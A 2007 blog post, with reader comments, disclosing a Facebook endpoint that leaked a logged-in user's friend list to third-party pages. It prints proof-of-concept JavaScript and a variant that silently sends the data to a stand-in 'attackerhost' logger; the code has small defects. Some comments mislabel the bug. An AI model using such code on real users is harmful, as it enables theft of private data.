Welcome to BARMAGY Sign in | Join | Help

Facebook XSS Vulnerability

Today I was taking a look at the Facebook AJAX java script that is responsible to give suggestions in the search text box you find under the Facebook logo on the left

I found this URL http://www.facebook.com/ajax/typeahead_search.php? hard coded in the following java script

function search_friend_source(get_param)

{

this.parent.construct(this,get_param);

new AsyncRequest().setMethod('GET').setReadOnly(true).setURI('/ajax/typeahead_search.php?'+get_param).setErrorHandler(function(){}).setHandler(function(response){this.values=response.getPayload().entries;this.build_index();}.bind(this)).send();}

at the file http://static.ak.facebook.com/js/typeaheadpro.js?44:75333

Whenever you open that URL from any browser it supplies you with a complete list of all your friends on Facebook in a java script format similar to JSON, it uses your credentials that is stored in your cookies in the browser to authenticate you.

Once I’ve seen it I’ve known instantly that I’ve found a security vulnerability similar to the famous Gmail XSS vulnerability, anybody with proper AJAX knowledge can host a java script on their site to request this page using your credentials and get all your of your Facebook friends list, so I made this proof of concept code to demonstrate the vulnerability

<script>

xmlHttp=GetXmlHttpObject()

var url=http://www.facebook.com/ajax/typeahead_search.php?;

xmlHttp.onreadystatechange=stateChanged;

xmlHttp.open("GET",url,true);

xmlHttp.send(null);

 

function stateChanged()

{

    if (xmlHttp.readyState==4)

    {

        alert(xmlHttp.responseText)

    }

}

 

function GetXmlHttpObject()

{

  //i didn't add the code to create the XHR object for firefox because

  //it doesn't work on firefox already, if you have time to test this

  //POC with other browsers and it worked please let me know

  var xmlHttp=null;

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

      }

  return xmlHttp;

}

 

</script>

 

If you opened any web page on the internet that contains that code and you are logged on Facebook at that time (i.e. your browser still have your credentials stored in your cookies) it will show you a message containing the java script return from Facebook with all your friends and there public data like there profile URL and their networks. These data can instead be sent to an attacker and get logged like this

function stateChanged()

{

    if (xmlHttp.readyState==4)

    {

        var xmlHttpLogger=GetXmlHttpObject()

        xmlHttpLogger.open("GET", "http://attackerhost/logger.php?log=" + xmlHttp.responseText, true)

    }

}

So if you opened a page containing this version it will not alert you and instead it will send your Facebook contact list the attacker silently.

I’ve tested this proof of concept only with IE7 and it’s working fine, also I’ve tried it with Firefox and it doesn’t work because of the “same domain security policy” in Firefox.  If you have some time to test it with other browsers please inform me with the results, thanks.

 

kick it on DotNetKicks.com
Published Sunday, December 23, 2007 10:22 PM by Fady

Comment Notification

If you would like to receive an email when updates are made to this post, please register here

Subscribe to this post's comments using RSS

Comments

# re: Facebook XSS Vulnerability

While that is definitely of concern it's not actually a cross-site scripting (XSS) attack.

XSS is where you can inject HTML onto a webpage others will see and have it load JS from a site to manipulate or interfere with what those others see.

It would seem the fix here would be for the server to check your session cookie is passed to it in the query string perhaps.

[)amien
Monday, December 24, 2007 10:06 AM by Damien Guard

# re: Facebook XSS Vulnerability

Thanks for your comment but i don't think that XSS is limited to the definition you gave
XSS stands for cross site scripting, which is the case here
Monday, December 24, 2007 4:13 PM by Fady

# re: Facebook XSS Vulnerability

Interesting, but this actually looks more like a CSRF (Cross Site Request Forgery) attack.

It's the same example as in this scenario:
1- You're logged into ur bank account
2- attacker knows you are
3- attacker post a link on a forum or send u a file or whatever with a link that when clicked will transfer money to his account

this attack will only work ONLY if you are authenticated on the target website.

It exists on many websites, and it's a little bit difficult to prevent. (you can use some hashes and validations, but could still be worked around)
Tuesday, December 25, 2007 11:11 AM by Charafantah

# re: Facebook XSS Vulnerability

i think am wrong :) it could be prevented easily using the "Same Origin Policy" :)
Tuesday, December 25, 2007 11:18 AM by Charafantah

# re: Facebook XSS Vulnerability

@Charafantah
thanks man for commenting, actually i was searching for a more convenient name too :)
but i prefer XSS as it's more common name and merely more understood, also i think CSRF can be categorized under XSS
for the bank case you described, the "Same Origin Policy" can actually stop it but not all browsers use it because it will make developing mash-ups harder and as you know mash-ups is one of things that is really connected to the web 2.0 hype, so if the browser don't support mash-ups it will lose market, so it's a market thing more than a security thing

but actually there is a better way to stop such attacks like the bank case by insuring that the request is human and not automated by means like captcha and similar applications that depends on that the user must read and enter a set of obfuscated characters to make sure s/he is human

but this way won't work with AJAX services because that AJAX calls are done automatically not by humans

so here we are in a trade off between security and usability, which do you think the user will choose? :)
Tuesday, December 25, 2007 1:47 PM by Fady

# Social Hacking &raquo; Blog Archive &raquo; Facebook Contacts

Tuesday, February 19, 2008 12:08 AM by Social Hacking » Blog Archive » Facebook Contacts

What do you think?

(required) 
required 
(required)